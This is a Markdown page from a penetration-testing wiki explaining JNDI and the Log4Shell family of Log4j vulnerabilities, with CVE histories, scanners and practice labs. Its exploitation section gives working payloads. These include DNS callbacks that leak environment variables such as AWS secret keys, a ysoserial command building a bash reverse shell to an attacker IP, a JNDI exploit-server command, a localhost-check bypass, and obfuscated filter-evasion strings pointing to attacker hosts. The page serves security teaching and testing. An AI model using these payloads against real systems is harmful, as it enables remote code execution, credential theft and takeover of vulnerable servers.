180 lines
13 KiB
Markdown
180 lines
13 KiB
Markdown
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||
|
||
## Basic Information
|
||
|
||
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data (in the form of a Java object) through a directory**. JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services.
|
||
|
||
For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**.
|
||
|
||
![](<../../.gitbook/assets/image (627).png>)
|
||
|
||
### LDAP Search
|
||
|
||
A Java program can use **JNDI and LDAP together to find a Java object** containing data that it might need. For example, in the standard Java documentation there’s an [**example**](https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html) **** that talks to an LDAP server to **retrieve attributes from an object**. It uses the URL **`ldap://localhost:389/o=JNDITutorial`** to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.
|
||
|
||
However, this functionality not only allows to **retrieve** strings from a LDAP server but also **Java Objects that will be executed**.
|
||
|
||
{% hint style="danger" %}
|
||
Therefore, if you can **control the address where a Java Program is going to download a Java Object** from, you can make it execute arbitrary code (**RCE**)
|
||
{% endhint %}
|
||
|
||
## Log4Shell Vulnerability
|
||
|
||
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
|
||
|
||
In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.”
|
||
|
||
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
|
||
|
||
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. **** However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
|
||
|
||
## CVEs
|
||
|
||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
|
||
\
|
||
Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\
|
||
\
|
||
Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
|
||
\
|
||
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\
|
||
 
|
||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **** \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
|
||
\
|
||
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to **_**localhost**_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
|
||
\
|
||
The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was: \
|
||
_Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
|
||
__\
|
||
__"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
|
||
 
|
||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
|
||
\
|
||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the **_**JMSAppender**_** class also become susceptible to the untrusted deserialization flaw**.\
|
||
\
|
||
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\
|
||
 
|
||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
|
||
\
|
||
Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
|
||
\
|
||
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\
|
||
 
|
||
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||
|
||
## Exploitation
|
||
|
||
### Discovery
|
||
|
||
This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
|
||
|
||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
|
||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
|
||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
|
||
|
||
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
|
||
|
||
{% hint style="info" %}
|
||
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
|
||
{% endhint %}
|
||
|
||
### **Verification**
|
||
|
||
Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\
|
||
This can be very useful for 2 things:
|
||
|
||
* To **verify** the vulnerability
|
||
* To **exfiltrate information** abusing the vulnerability
|
||
|
||
For example you could request something like:\
|
||
 or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
|
||
|
||
Other information you could try to **leak**:
|
||
|
||
* ${hostName}
|
||
* ${sys:user.name}
|
||
* ${sys:user.home}
|
||
* ${sys:user.dir}
|
||
* ${sys:java.class.path}
|
||
* ${sys:java.home}
|
||
* ${sys:java.vendor}
|
||
* ${sys:java.version}
|
||
* ${sys:java.vendor.url}
|
||
* ${sys:java.vm.version}
|
||
* ${sys:java.vm.vendor}
|
||
* ${sys:java.vm.name}
|
||
* ${sys:PROJECT\_HOME}
|
||
* ${sys:os.name}
|
||
* ${sys:os.arch}
|
||
* ${sys:os.version}
|
||
* ${java:version}
|
||
* ${java:os}
|
||
* ${env:JAVA\_VERSION}
|
||
* ${env:PATH}
|
||
* ${env:USER}
|
||
* ${env:AWS\_SECRET\_ACCESS\_KEY}
|
||
* ${env:AWS\_SESSION\_TOKEN}
|
||
* ${env:AWS\_SHARED\_CREDENTIALS\_FILE}
|
||
* ${env:AWS\_WEB\_IDENTITY\_TOKEN\_FILE}
|
||
* ${env:AWS\_PROFILE}
|
||
* ${env:AWS\_CONFIG\_FILE}
|
||
* ${env:AWS\_ACCESS\_KEY\_ID}
|
||
* Any other env variable name that could store sensitive information
|
||
|
||
### RCE
|
||
|
||
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
|
||
|
||
```bash
|
||
# Rev shell via CommonsCollections5
|
||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||
```
|
||
|
||
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines:
|
||
|
||
```bash
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||
```
|
||
|
||
![](<../../.gitbook/assets/image (642).png>)
|
||
|
||
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/qvrxbu}`**
|
||
|
||
### Bypasses
|
||
|
||
```java
|
||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
|
||
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
|
||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||
```
|
||
|
||
### Automatic Scanners
|
||
|
||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
|
||
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
|
||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
|
||
|
||
### Labs to test
|
||
|
||
* ****[**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)****
|
||
* ****[**Try Hack Me Solar room**](https://tryhackme.com/room/solar)****
|
||
* ****[**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)****
|
||
* ****[**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)****
|
||
|
||
## References
|
||
|
||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
|
||
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
|